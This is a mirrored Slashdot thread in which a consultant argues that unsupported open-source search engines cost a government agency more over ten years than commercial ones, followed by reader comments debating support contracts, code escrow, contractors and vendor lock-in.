Slashdot Mirror


Open Source More Expensive In the Long Run?

Jack William Bell asks: "Could the PHBs possibly be right on this one? A recent evaluation I performed of competing commercial and Open Source products yielded the surprising result that the Open Source products were more expensive (in terms of lifetime costs) over a long term than many of the commercial offerings! Why? Basically this mostly revolves around higher support costs for Open Source products where no commercial support is available (unlike, say, Linux where you can purchase support from Red Hat, etc). This particular case might also be a result of one special set of requirements and environment and a similar evaluation for a different set of requirements and environment might yield a different outcome. But, nonetheless I found the experience instructive and I would like to ask two questions of the Slashdot readership: Firstly, is Open Source usually more expensive when all lifetime costs are factored in? And, secondly, is anyone in the business of providing commercial support and training for the entire universe of Open Source, perhaps contracting on a product-by-product basis? I guess a corollary to that question is, if not then why not? There might be a viable business model here!"

"Here are some details for you:

I am currently doing consulting work to create a complex custom search utility for a governmental agency. The first major step was, of course, to select a Search Engine that provides as many of the custom requirement features as possible; thus reducing the amount of custom code and my expensive time. Besides high-end search features my customer also required something that was fast, easily administered and likely to be supported for a very long time. Why the last? Well, the expected lifetime of the new project is ten years and this is not out of line considering that their current system is more than a generation old!

Consider again the environment; this is a government agency and is somewhat resource starved. They have a limited number of staff and the staff must split their time among many different working areas. They must be generalists and do not have time to specialize. Plus there is some turnover, especially among the better skilled staff. These factors lead to a basic requirement that there is someone they can call for support for every product they use, preferably 24 x 7. They also need to know that this support will be available for the entire lifetime of the project -- in this case a full decade.

Now to the chase -- without going into boring details, or names, we were able to locate nearly sixty Search Engines that might be suitable. Most of these were commercial, but some were Open Source. From this list we selected eight that seemed most likely to provide all the capabilities we needed, of which one was Open Source (in fact this was actually two variations of the same project). We then performed detailed paper analyses of these products, comparing features to our requirements list and doing some estimated per-year costs to determine the lifetime costs. From the results of this we selected a smaller number for in-house evaluation and from that we selected the final recommendation.

For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.

So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!

When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive. Of course the difference wasn't too great, ranging from 20% to 60% higher in a ten-year lifetime. But it was there nonetheless.

Now my customers are not averse to using an Open Source product. After all, there is no guarantee that even the most established vendor will not fall by the wayside in those ten years. They just want to have a certain comfort level, even if it is illusory. And I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.

My estimates might have other holes as well, but that isn't germane. The selection process is nearly complete now and, in a detailed analysis the Open Source products turned out to be missing a couple of features that would have been showstoppers even had support been available. I want to know what resources I can use to (honestly) avoid this issue the next time I am comparing Open Source to commercial software for a client!"

571 comments

  1. In the long run by Anonymous Coward · · Score: 1, Insightful

    Open source must be cheaper because you can choose who you buy support from. You're not locked to a single vendor who can extort you; just take the cheapest offer.

    1. Re:In the long run by Anonymous Coward · · Score: 0

      Open source must be cheaper because you can choose who you buy support from. You're not locked to a single vendor who can extort you; just take the cheapest offer.

      That's his point - only the major OSS projects (he mentioned Red Hat) offer support. Your average OSS product does not.

    2. Re:In the long run by cornjones · · Score: 4, Insightful

      Not if there is no support. Very few OSS projects have real support. that is one of the things pointed out in the parent post, nobody will support it. That is fine if you are going to have a person dedicated to becoming an expert in the product but that costs alot of money.

      some pay software is actually the best choice. Granted, not always... I am reminded of a time when a large publishing company I worked for was reluctant to use a whole set of Perl scripts we developed unless they could "buy" Perl. I told them to send a couple hundred bucks to larry but that didn't fly.

    3. Re:In the long run by tomhudson · · Score: 3, Insightful
      In the long run, you can still hire a programmer off the street to do maintenance, whereas closed source means you run the risk of loosing everything if your app fails to run on newer platforms, or needs new functionality.

      When this is weighed into the equation, I'm pretty sure the TCO changes in favour of OSS.

    4. Re:In the long run by Anonymous Coward · · Score: 0

      that is one of the things pointed out in the parent post, nobody will support it

      Actually that's one of the perks of open source code. If the creators don't want to support it commercially, someone else can (and will)! :)

    5. Re:In the long run by Anonymous Coward · · Score: 0

      Which is what the submitter factored in to his analysis. Getting a slice of someone's time to handle support on the product. It turned out to be more expensive than the commercial support agreement.

      Again, there truely are situations where OSS is only free if you time is worthless. This is one of them.

    6. Re:In the long run by Anonymous Coward · · Score: 0

      technically you cant buy quark, or pagemaker either. but you can rent it without any recourse though. (managers just dont seem to get that)

      yes you can pay for support to adobe etc, but what does that matter?

    7. Re:In the long run by Anonymous Coward · · Score: 1, Interesting

      Yup, My company ditched an entire OpenSrc. collab. suite for exchange b/c we had no support or if we did it took a 250/hr *NIX guy to come out or do remote work. We had an IT budget of a 200 person compnay when we are only 45 people. The initial costs of getting exchange and MS products were a bit large but we have been running for a year with an IT budget that has yet to exceed its limits.

    8. Re:In the long run by tomhudson · · Score: 2
      Not completely. When a closed-source company folds, you can't get the source. The product, in many cases, just disappears. I've got lots of products from the 80s that are impossible to get support for, because the maker no longer exists, or were bought out by a competitor who no longer supports that product, etc.

      Closed Source:

      1. You can't always get a commercial support agreement, esp. if the vendor is doa
      2. Even if you can get a support agreement, this doesn't mean that they're going to continue to support the features/platform that you need
      3. You need a killer feature - your support agreement doesn't mean you'll ever see it implemented.

      Running your business on closed-source software is becoming riskier as more closed-source vendors tank, whereas there are more programmers avail. to maintain OSS because of closed source cos. tanking...

    9. Re:In the long run by tomhudson · · Score: 2
      In the looooooong run, we're all dead anyway :-)

      That's where I meant to stick the extra 'o's.

      Thanks.

    10. Re:In the long run by Anonymous Coward · · Score: 2, Informative

      As a long time corporate IT hack, I can tell you that you need in-house expertise for almost all of the software you end up running. I dont care how much it did or did not cost to install; that is irrelevant.

      For mission critical applications, even commercial support is lacking.

      I market my skills with many commercial products to many different clients. IBM MQSeries, MVS, HP/UX, Microfocus Cobol, Oracle, DB2, IDMS, etc. etc. etc. Even thou the client has a support contract with every vendor, there is still an in-house need for that support. That's when the contract me..(james bittner at netscape dot net)

      The lack of that type of support for OSS is a vailid concern, but the cost estimates where way off base. OSS or commercial, doesnt matter, they is a certain level of in-house (could be contracted on temp basis) support required that did not get figured into the estimates.

      Trust me, vendor support does not mean they will make everything work for the cost of that contract. the contract allows for minimal help, and everything else is billable....

      j.b.

    11. Re:In the long run by nogoodmonkey · · Score: 1

      1) "X" company deciedes to use "Y" program written by "Z".
      2) "X" requires a change be made to "Y", but alas, "Z" wanted to stop working on the project.
      3) "X" hires an employee "W" to add features to their existing system.
      4) "X" pays "W" to become aquainted with the program, their system, their needs, the code, etc.
      5) "X" ends up paying more money then going with the "V" commercial application.

    12. Re:In the long run by Gerry+Gleason · · Score: 2
      Some people are just stupid. Perl doesn't require any support unless you are trying to do something fancy, and even then it's pretty easy. Just download and go. Maybe fire up CPAN and get the additional modules you need. Perl is just rock solid.

      Now, if you are talking about more niche projects, you have to make sure you have something real, and not something tossed together and abandoned, but you have the source so you can know that, and even fix things if necessary. Let's face facts, you are more or less on your own even with commercial products. They are not going to anylize your problems space and implement a solution (or if they do, it will cost $250/hr for custom programming). You're much more likely to actually get support from the community with an OSS project. If the niche is tiny or the product not widely used, support is going to be a problem whether it is commercial or OSS.

    13. Re:In the long run by geekee · · Score: 1

      A full time programmer is a huge expense. That's the whole point of the discussion. You're better off with a closed source solution that offers support than an open source solution with no support + hiring a person to do the support yourself.

      --
      Vote for Pedro
    14. Re:In the long run by Anonymous Coward · · Score: 0

      c'mon, i bet you can think of a better place for him to stick his extra o's.

    15. Re:In the long run by Znork · · Score: 2

      Of course, "X1" bought the "V" commercial application, then decided they wanted to have the same feature in "V" as "X" had paid to get in "Y". Company "V Inc" charges five times the original price for "V" to add that feature. So in the end, "Y" was cheaper anyway.

    16. Re:In the long run by dup_account · · Score: 5, Insightful

      I have 6 people working for us right now, and another company that is providing support for a product that they didn't develop. It is easy and cheap to find people willing and quailified to give support.

      Be careful not to get sucked into the level of support that commerical companies offer. They'll offer the world up front, but you'll have problems as time goes on. Don't forget the forced upgrades to the software and OS to keep the support going.

      Give the commerical guys a call with a "tough" question, or a It's down and we need it up and have no clue as to what to do. See how they respond. I bet you'll be surprised (unless they know you are shopping, but even then)

    17. Re:In the long run by dup_account · · Score: 1

      don't forget. If you ask for 1/10 of a FTE from a commercial company... After they stop laughing, they'll send you the $300 per hr price to help you.

    18. Re:In the long run by shatfield · · Score: 3, Insightful

      I completely disagree.

      While you can look at a SourceForge based project page and see that there is no "company" backing the software, I bet if you had a problem, that one of the 9 developers listed on that same project page would be more than willing to help you out for the price of a large pizza... or even for free if the problem was small enough.

      It will take a while for the PHB's to get past the "if it doesn't cost $5000, then it must be crap" mentality, but it *will* happen. Most likely because if you look around you, some of the people you see that are hip deep in the community of free and open source software developers are the next generation of PHBs! :-)

      --
      "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
    19. Re:In the long run by tomhudson · · Score: 2
      Hey, I'm up in canuckistan (Canada).

      Does that mean CDN $500.00/hr?

      Where do I sign up?

      Actually, that's better than most of the business model satires I see here:

      1. Offer support contracts for OSS
      2. ...
      3. Profit
      Something I'll discuss this w/e

    20. Re:In the long run by nogoodmonkey · · Score: 1

      While "X" was using "V", its developer "U" could have released new versions of "V" that included features that "X" hired "W" to add to "Y".

    21. Re:In the long run by pokeyburro · · Score: 5, Insightful

      I think you just inadvertently pointed out the key. SourceForge. Or, more generally, an active OS support community. If our valiant government consultant picks an open source package from J. Random Basement Boob, he may very well end up screwing himself.

      From my reading of his explanation, he seemed intent on getting commercial support for the software, open source or not. I admit it's valid to want to pay for some assurance that if the software breaks, someone will be on hand to at least try to fix the problem. The OS movement doesn't seem to address this as much as it could; a lot of legit software mechanics could offer their services here.

      The OS idea puts more stress on the fact that OS software is less likely to break because of peerage. Your support isn't supposed to have to be commercial; instead, if the software breaks, it's likely already been fixed by someone else, and you need merely get a patch from the same place you got the software. Compare this with commercial software, where you likely have to submit a bug to the company, and wait for the next version to come out, which you must pay for.

      It's when your problem is not fixed, that you'll ever have a non-zero cost for OS software. The idea here is to either get your on-staff programmer to fix it, in which case it's already been budgeted - and yeah, I know in this case there isn't an on-staff programmer available - or ask for help from the community, in which case you likely spend some time waiting, and maybe feeling a little out of control.

      In conclusion, it seems wise when selecting OS software to look at how "live" its support community is. SourceForge, for instance, has a nice way of telling this. Meanwhile, again, it's by all means proper to want commercial support for OS software, particularly if its vital to keep it running 24/7. If it's not as vital, and you can't or won't budget for an in-staff code wrangler, I would suggest something a bit less costly than full support - something to bail you out of that rare case of having to wait for a fix to a bug no one had seen yet. Anyone seen OS software insurance yet?

      --
      Lately democracy seems to be based on the skybox, the Happy Meal box, the X-box, and the idiot box.
    22. Re:In the long run by kberg108 · · Score: 0

      "Very few OSS projects have real support."

      Gimme a fucking break what the hell does that mean. What is your deffinition of support... somebody to call and bitch at when it don't work? well that is bullshit too because it doesn't get the damn problem fixed. The biggest problem I have seen with pay products is that thier support is complete marketing bullshit and serves no purpose in the real world. For instance Oracle you have to pay an annual contract to have access to thier web site that has thier support documents and on top of that every damn time I've been thier I can't even find the fucking solution then I go search on Google and I find the problem in some Open Source forum that happens top be coding OSS for Oracle and they have broken down the problem with out the help of Oracle and have FREELY posted the sollution. Now tell me again why I pay Oracle for an annual support contract?... Hmm?... yeah that's what I thought.

      --
      I like things that are sweet and not things that are lame. --
    23. Re:In the long run by Anonymous Coward · · Score: 0

      Smart big companies get code put in escrow, so if the non-open source company (closed source is an idiotic term) folds they can get the code then.

      I know this because I have done it.

    24. Re:In the long run by tomhudson · · Score: 2
      So what happens if:
      • The escrow company folds
      • The escrow company gets hacked
      • The closed-source company doesn't want to put its' code in escrow
      I was giving the source to my customers in 1990, because I figured it was a good move sale-wise (sure, they could get someone else to support it, since they had the source, but why not get the original developer, who KNOWS the product, to do it).

      Just because you give your customer the source, this doesn't mean they have the right to distribute it to other companies - just to maintain it.

    25. Re:In the long run by deaddrunk · · Score: 0

      If PERL programmers weren't so determined to make it unsupportable you might be right. If these tedious nerds realised that someone else might have to support their egomania-produced white noise perhaps their world-view would be shared.

      --
      Does a Christian soccer team even need a goalkeeper?
    26. Re:In the long run by Anonymous Coward · · Score: 0

      The escrow company folds

      So what happens if an asteroid crashes into the earth? Summoning the power of the slippery slope is not a smart move, grasshopper, for it makes you look absurd.

    27. Re:In the long run by Anonymous Coward · · Score: 0

      You poor thing. You must not have ever had a PHB who has the philosophy of "whatever is cheapest, get it - that means I get more profit." Say what you want about stingy company owners, they're the ones most likely to adopt Open Source for their companies.

    28. Re:In the long run by eno2001 · · Score: 2

      However... that means that "X" is at the mercy of "V"s whims. Developer "U" could add the features to "Y" that "X" wants... in two years... four years... Or... never. Whereas developer "W" could add them within a reasonable amount of time based on the complexity of "Y". In general non-open-source companies never add the features that their clients want unless they get too much money. Much better for them to go with open-source so that they can get anyone to work on it or even hire someon in house to maintin it. Can't do that with product "V".

      --
      -"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
    29. Re:In the long run by fitten · · Score: 1

      Not only this... but if support for your OS solution dries up, and you are a small business which can't support hiring a programmer, you are out in the cold just as bad as before. The people who originally wrote the OS solution that you are using (and have invested lots of time/effort into integrating into your business) may have gotten disinterested with the code and gone off to do other things. Meanwhile, no one else really cares about the code either. THIS is one of the biggest fears of OSS and it CAN happen because all of the coding and fixes were done because someone cared about it. When they get bored/tired of it, they aren't contractually (or any otherwise way) obligued to support it. This leads to... Looking for someone to support the OSS that you are now completely dependent upon. You first start searching for a programmer(s) to do the work for you. You will be lucky to be able to hire a programmer who already knows the source. That's the best solution, of course. HOPEFULLY you can hire someone you trust who can/will work remotely to solve your problems, but this isn't always guaranteed. If you can find such a programmer, you are gtg still. However.... You may not be able to find/hire a programmer with the required knowledge so now you must hire a programmer who will spend a month to learn the stuff, then for the next amount of time to actually fix the problem or add the new functionality. Contractors go for $90/hour (common price around here for keyboard jockeys). 1 month * 4 weeks/month * 40 hours/week = $14,400 BEFORE you get anything done to actually solve your problem. If you pay to train someone like that, you'll probably want/need to put them on retainer (probably cheapest way) or outright hire them. Now you are talking $100,000/year to support your OS software (this $100,000 is for the company, which includes benefits like insurance, tax contribution, etc... you cost your company a lot more than that number that is your salary). Now... you are into this "free" OSS solution at the rate of $90/hour (minimum 2 weeks cost per incident which is $7200) or $100,000/year. Some savings... This is a fact of OSS that people very quickly try to sweep under the carpet: Yes: - you have the source - you can do what you want (bugs/features) what they leave out is what this MAY cost you when things aren't the rosey situation of there will always be some programmer(s) who are still interested in supporting your OSS solution. Your support relies on the whim (interest) of the programmers who originally wrote the code and the interest of any other programmers outside of that group who are interested in the code. If you can't find either one of those, your costs can skyrocket along with your risk. THIS is the thing that makes budget planning a pain and makes people hesitant about using OSS. As long as you use OSS that is exciting, fun, and interesting, you have low risk. As soon as you move into a niche type area, your risk goes up. Risk management is a large part of running a business or a business group.

    30. Re:In the long run by shatfield · · Score: 3, Interesting

      Yeah, I see your point.
      I think that a viable business model is here for the taking.

      Step 1:
      Band together some talented *nix code wranglers.. people with a broad range of skills that can handle any of a couple dozen of the most popular programs.

      Step 2:
      Offer support contracts for those programs under a "if it's broken, we'll fix it, guaranteed!" scenario. Promise x number of hours turnaround on bug fixes (varying time for varying degree of difficulty) and x number of days for feature requests (which will then be released back to the original developers).

      Step 3:
      Profit! ;-)

      This seems like a pretty standard consulting practice style setup.. has anyone been doing this? If not.. maybe we should start it ;-)

      --
      "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
    31. Re:In the long run by fitten · · Score: 1

      [sorry for the repost, but I had to put paragraph breaks in this before it made me insane]

      Not only this... but if support for your OS solution dries up, and you are a small business which can't support hiring a programmer, you are out in the cold just as bad as before. The people who originally wrote the OS solution that you are using (and have invested lots of time/effort into integrating into your business) may have gotten disinterested with the code and gone off to do other things. Meanwhile, no one else really cares about the code either. THIS is one of the biggest fears of OSS and it CAN happen because all of the coding and fixes were done because someone cared about it. When they get bored/tired of it, they aren't contractually (or any otherwise way) obligued to support it. This leads to...

      Looking for someone to support the OSS that you are now completely dependent upon. You first start searching for a programmer(s) to do the work for you. You will be lucky to be able to hire a programmer who already knows the source. That's the best solution, of course. HOPEFULLY you can hire someone you trust who can/will work remotely to solve your problems, but this isn't always guaranteed. If you can find such a programmer, you are gtg still. However....

      You may not be able to find/hire a programmer with the required knowledge so now you must hire a programmer who will spend a month to learn the stuff, then for the next amount of time to actually fix the problem or add the new functionality. Contractors go for $90/hour (common price around here for keyboard jockeys). 1 month * 4 weeks/month * 40 hours/week = $14,400 BEFORE you get anything done to actually solve your problem. If you pay to train someone like that, you'll probably want/need to put them on retainer (probably cheapest way) or outright hire them. Now you are talking $100,000/year to support your OS software (this $100,000 is for the company, which includes benefits like insurance, tax contribution, etc... you cost your company a lot more than that number that is your salary). Now... you are into this "free" OSS solution at the rate of $90/hour (minimum 2 weeks cost per incident which is $7200) or $100,000/year. Some savings...

      This is a fact of OSS that people very quickly try to sweep under the carpet:

      Yes:
      - you have the source
      - you can do what you want (bugs/features)

      what they leave out is what this MAY cost you when things aren't the rosey situation of there will always be some programmer(s) who are still interested in supporting your OSS solution. Your support relies on the whim (interest) of the programmers who originally wrote the code and the interest of any other programmers outside of that group who are interested in the code. If you can't find either one of those, your costs can skyrocket along with your risk. THIS is the thing that makes budget planning a pain and makes people hesitant about using OSS. As long as you use OSS that is exciting, fun, and interesting, you have low risk. As soon as you move into a niche type area, your risk goes up. Risk management is a large part of running a business or a business group.

    32. Re:In the long run by Anonymous Coward · · Score: 0

      We have failed in a large fortune 100 company to actually see OSS pan out to a cost savings model in the long run ( 2 years now ) and it isn't working so far. Many times when you implement a system ( as400/mainframe/solaris ) that system will be around with the same OS revision for the life of the application, generally 5 to 10 years. Now sometimes you can do an OS upgrade, but many times you can't or don't need to upgrade during that window as the vendors will continue to support you. Umm do you think your going to find a vendor to support a redhat 4.2 system. When I goto my vendor I say fix it and the response that won't fly is "you need to upgrade your OS". I say to that screw off, fix your bad code yeah that's right fix the kernel that you said you would support. Ok patch the kernel, but you need to guarantee that it won't break anything else. Have you done this? Have you tested this? How many site are doing this? etc

    33. Re:In the long run by walt-sjc · · Score: 2

      This assumes that you need a full time programmer, which is a flawed assumption. Ever hear of contractors? There are LOTS of programmers out there, many outside the US willing and able to work for a VERY reasonable price. A programmer has no need to be onsite.

    34. Re:In the long run by Anonymous Coward · · Score: 0

      >Not if there is no support. Very few OSS projects have real support.
      >
      >
      Utter bullshit. OSS support is far better than you can get from comerical software. Ask Microsoft about updating DOS or getting USB/Wheelmouse drivers for Windows for Workgroups 3.11.
      Try upgrading the Windows kernel like you can with Linux. Oh. You can't

    35. Re:In the long run by walt-sjc · · Score: 4, Informative

      There are VERY FEW commercial software companies that support a particular app for more 5 years. 5 years is a LIFETIME. Win98 is EOL and it's only 4 years old. Ditto for NT4 which was still being sold 2 years ago, and support is for the most part GONE.

      With OSS, you can basically support it forever, porting to new architectures, adding enhancements, fixing bugs, whatever. You just can't do that with comercial closed-source software.

      The problem with code-escrow of commercial code is that you won't know how bad the code is until you NEED it. You may find that it's unmaintainable. Not an issue with OSS, where you know what you are getting into right up front. There are also other problems with code escrow but it usually is dependant on the terms of the contract.

      I developed an application / custom hardware sold to utility companies about 8 years ago that is still in use. That code has had about 6 different maintainers since I left, and they hacked the code to shit, lost backups, etc. leaving my former clients in the lurch. We did offer code escrow, since the utilities end up using this stuff for 20 years or so, but not all the utilities took us up on the offer (since we charged extra for it.) Some of the equipment we replaced was over 50 years old. If I was doing this again, I would have pushed to just give the code to the utility up front. It just ain't right what happened to them. If they had the code, they could have hired someone to port to more modern hardware (it was PC based) or even a different OS (the code was designed to be very portable.) The code was useless to anyone that didn't have the custom hardware.

      Bottom line is that comercial support is USELESS if your needs are long-term, and the company can't / won't support it long-term.

      OSS give you freedom. It's hard to put a dollar figure on freedom. Some say that it's priceless.

    36. Re:In the long run by Kyber · · Score: 1

      Almost no matter what sort of OSS solution it is, it can save costs, improve reliability, and help still keep other alternatives open for the future.

      You just have to hire the right person(s).

      IMHO, The saying "UNIX does not prevent you from doing stupid things because that would also prevent you from doing clever things" applies to sysadmins aswell.

      The right person(s) implementing and administrating things can make sweet things happen. The wrong person(s) can... Well you've heard the stories of sending backups to /dev/null to speed up the backup process, haven't you? 8)
      --
      -- Black holes are, where God is dividing by zero.
    37. Re:In the long run by horse · · Score: 1

      No big organization licenses code without getting a code escrow agreement to cover them if the vendor fails.

      Well, except maybe for vendors like Microsoft.

    38. Re:In the long run by gurensan · · Score: 1

      I'm a support guy, and I get this all the time. There's a difference between reading from a script (most commercial support) and knowing what to do. The vast majority of OSS projects sport developers who know what they are doing when it comes to their own program. The people who respond to you on IRC chats may have also been through that particular problem you might have, fixed it, and can tell you how they did it. For that particular issue, with that particular program, they are about as close to qualified as the developer could be - especially if they can direct you to a patch or can tell you about a workaround or two. If someone in the know about a program tells you to RTFM then there is a good chance that the keys to the fix are there - but you have to RTFM. I can't tell you how much it pisses me off when some asshole takes up my valuable time bitching about something he would have seen on page 7 if he had bothered to just look it up. I wrote a good portion of the exercises in my company's product manual, I know that when a customer has a question about an exercise, he/she has a real interest in getting a problem solved - but when they ask for stupid things I covered, they just want me to do their work for them.

      Support costs are not just the money spent in contracts and phone bills. They also include the time spent solving an issue. If that time could have been spent solving a 'my machine is down and I can't figure out why but I've tried this and this and this' it's much more worthwhile than answering the 'how do I run this here program' question.

      Take it from me, support is cheaper the more of the manual you read - and the support guy hates you less.

      --
      You are all fartheads.
    39. Re:In the long run by Anonymous Coward · · Score: 0

      Unless you are in a tiny shop, most of that $300 will go to some number of PHB's and not to you, the lowly programmer.

      If you are in a smaller shop, most of that $300 will go to a smaller number of PHB's.

    40. Re:In the long run by duffbeer703 · · Score: 2

      Perl is great until you try to upgrade a perl app running on 50 servers on different platforms with a variety of old and buggy CPAN modules.

      It's a great language for some things, and the "there's more than one way to do it" philosophy is nice for quick projects.

      You'll love perl until you have to spend $3k on an IBM compiler to just compiled modules on AIX, which don't compile without alot of prodding.

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
    41. Re:In the long run by duffbeer703 · · Score: 2

      Utter bullshit. OSS support for lots of commercial software doesn't exist. (And reading and patching source code doesn't count)

      Ask RedHat about updating Redhat 4.2. Get the X-Windows developers to provide drivers for more than 3 video cards in the version of X that shipped with Yggdrasil.

      Try applying the lastest security and fix patches in one fell swoop like you can with Windows Update for free. Oh wait, the RedHat network is non-free.

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
    42. Re:In the long run by woogieoogieboogie · · Score: 1
      And while someone is RTFM'ing, the company is losing money with that particular system down until someone can ATFQ(answer the fsckng question).

      If you are providing support for a commercial product, the support call is most likely due to a bug in the program, or a poorly written manual.

      I could give a flying rat's ass if the support guy hates me or not. If any commercial support guy ever told me to RTFM, I would fly to his office and kick his fscking teeth in.

      This is not to mention that an overworked admin may not have the time to remember an entire 300 page manual, not to mention several doaen 300 page manuals for the variety of systems he maintains, so that the support guy will like him.

      IRC chat for support. Gee how smart is that since most intelligent admins will not let their networks anywhere near IRC.

      --
      ... Governments are instituted among Men, deriving their just Powers from the Consent of the Governed...
    43. Re:In the long run by fatboy · · Score: 2

      Utter bullshit. OSS support for lots of commercial software doesn't exist. (And reading and patching source code doesn't count)

      Ask RedHat about updating Redhat 4.2. Get the X-Windows developers to provide drivers for more than 3 video cards in the version of X that shipped with Yggdrasil.

      Try applying the lastest security and fix patches in one fell swoop like you can with Windows Update for free. Oh wait, the RedHat network is non-free.


      I can see that you have never ran Windows Update on Windows 95. It is no longer supported, just like RedHat 4.2 However, you can download,compile and update your RedHat 4.2 box to up-to-date software, if you feel like it. You can't do the same on Windows 95.

      --
      --fatboy
    44. Re:In the long run by Anonymous Coward · · Score: 0

      All Win95 patches/downloads are still easily available on Microsoft's site.

    45. Re:In the long run by flatus · · Score: 1

      Speaking of fucking oracle. . . we canceled our support contract with oracle this year because every time that we had a problem, we had to solve it. The only time that we could get them on the phone was when it came time to renew our contract.

    46. Re:In the long run by Anonymous Coward · · Score: 0

      For a day's wage, I will get any old version of linux that you have running a modern version of X.

    47. Re:In the long run by Citizen+of+Earth · · Score: 2

      Don't forget the forced upgrades to the software and OS to keep the support going.

      And don't forget exponentially increasing license costs if you happen to 'rent' your software from a monopoly.

    48. Re:In the long run by geekee · · Score: 1

      Hiring a contractor is a lot more hassle and a lot more expensive than buying software that offers support. The contractor has to spend a lot of time just familiarizing himself with the OSS in question before he can even begin to tackle your question. There's no guarantee there's someone already familiar with your problem that you can just call him up and pay him for an answer. If there was, then the OSS software would be supported, and the problem would be solved.

      --
      Vote for Pedro
    49. Re:In the long run by spitzak · · Score: 2
      This whole comparison is nuts. You can be 100% assurred that it is less expensive to use an unsupported open-source product than an unsupported closed-source product. That is the only thing open-source gives you.

      If both the open and closed source products are "supported" it could go either way. It depends on the quality and the cost of the support.

      Open source allows you to "support" it yourself. Whether this is cheaper, more expensive, or is better or worse, than the commercial support depends on you and also on the quality and cost of the commercial support.

      The real point being made here is that supported software is cheaper than unsupported software, which is probably true if you assumme the support is better than nothing.

      Then somebody made the false equivalents that OSS==unsupported and closed==supported. It has already been pointed out that this is false for Linux itself. It is false for many closed pieces of software as well (just try to get support on some of them, or sometimes the company goes out of business).

      The answer is that OSS itself is not more expensive. unsupported software is more expensive.

    50. Re:In the long run by walt-sjc · · Score: 2

      Doesn't that also depend on the cost of the support contract? Most are 20 - 25% of the purchase price per year.

      You are also assuming that there are no contractors who are familiar with the source.

      Having hired dozens of contractors, I just don't see the hassle for an occasional issue. You can generally keep the same ones on retainer too.

    51. Re:In the long run by Anonymous Coward · · Score: 1, Interesting

      This is an excellent set of comments. Your most-likely response from the commercial support gurus 3-4 years from now is that you should really upgrade your software/hardware. So, if the configuration isn't going to be completely static, you should expect the commercial packages to require new purchases 2x over the 10-year life cycle, with things being dodgy during the last year of each licensing term. With commercial software, you're really purchasing a _loan_ of its usage, and the sticker on the box doesn't represent the final cost you'll pay. Good luck.

    52. Re:In the long run by dup_account · · Score: 1

      Hey, you're funny... But ATFQ is using two peoples time. You don't have to remember the entire manual, just that 1) the manual exists, and 2) have an idea where in the manual to look if problems come up. When I have issues, the first thing I do is a quick online (since most manuals are on-line instead of paper these days) search of the docs.

      It's the really shitty documentation that gets me. We're using a automated testing product that when we have a problem we HAVE to call support because their documentation is useless. Their solution to the problem is to get you to buy their training to learn the system.

    53. Re:In the long run by tomhudson · · Score: 2

      No big organization licenses code without getting a code escrow agreement to cover them if the vendor fails. Well, except maybe for vendors like Microsoft. <.quote> Exactly. Monopoly?

    54. Re:In the long run by tomhudson · · Score: 2

      I was trying to be funny. After +25 years, the only agreements I use are equity ownershit (as opposed to equity participation, which sucks).

    55. Re:In the long run by trosis · · Score: 1

      I think you missed the point of this post. He was saying, there was no one to buy support from for these products. So there is no choice to be made except to keep a developer on staff to deal with it.

    56. Re:In the long run by ichimunki · · Score: 1

      I could give a flying rat's ass if the support guy hates me or not. If any commercial support guy ever told me to RTFM, I would fly to his office and kick his fscking teeth in.

      Good to know that you can handle these things maturely.

      --
      I do not have a signature
    57. Re:In the long run by mmol_6453 · · Score: 2

      toms helpful hints: when you write code, paranoia is your best friend.

      But how do I know you're not trying to ruin my chances at producing a good product?

      Whoops...forget I said that. Forgot to turn off paranoia mode. :)

      --
      What's this Submit thingy do?
    58. Re:In the long run by GeekSoup · · Score: 1

      I work for a Fortune 100 company and cost is less an issue than down time. We have 1.2 million subscribers on our service and paying Sun a couple of 100K/year makes sense if they can get here in 25 minutes (which they have). Granted, everyone is not in the same situation. We also use a plethora of Open Source software, but primarily for non-critical services.

    59. Re:In the long run by byron150 · · Score: 1

      And you thought you'd never need Algebra....boy is your math teacher laughing at you now!!!

      --
      -Never believe in the end of something great, send it to sub-committee for further study!!! - ME
    60. Re:In the long run by Anonymous Coward · · Score: 0

      I could give a flying rat's ass if the support guy hates me or not. If any commercial support guy ever told me to RTFM, I would fly to his office and kick his fscking teeth in

      I'm quite sure you wouldn't, as most people don't like jail time for cowardly assault.

      It's fine to expect a certain amount of hand-holding, as long as you've paid for it. Why should everyone else have to invest time figuring out how things work, when you get a free ride by being more whiny?

      Welcome to the real world. It will always be user pays. "Yes, sir, we'll help you find the power switch, what is your credit card number?"

    61. Re:In the long run by geekee · · Score: 1

      The whole point of the post is that some times you can't find someone willing to support open source software. This being the case, it is cheaper to buy closed source software with support, in general, since hiring someone to figure out the OSS and maintain it is very expensive.

      --
      Vote for Pedro
    62. Re:In the long run by gurensan · · Score: 1

      Oh, you're asking for this one. Any support guy ever refuse to call you back? With your refusal to help yourself you get a reputation among any support staff (Newsgroup, IRC or commercial) of being lazy and unable to think for yourself. These people chew up time and resources of two companies, not just the one.

      My beef is with those who don't read the manual. If someone read it, found the answer wasn't there, then called, it's the right thing to do. If it's on page 2, you deserve to be hung up on. Personally I don't do that, but when I don't it keeps me from getting back to those who actually need my help. Imagine how happy those people are when you finally get a chance to call them. If they've got a support contract, you've just cost the contract renewal.

      No one's asking anyone to remember a 300-page manual. They're asking the customer to be willing to open it. It takes time, money and effort to WTFM (much, much more than it takes to read it), and they're supposed to be designed to teach the reader enough that they shouldn't *HAVE* to call support. If no one reads them, why don't we all stop wasting the time to write them? We can just spend hours on the phone explaining to the average retard what should have been on page 2!

      --
      You are all fartheads.
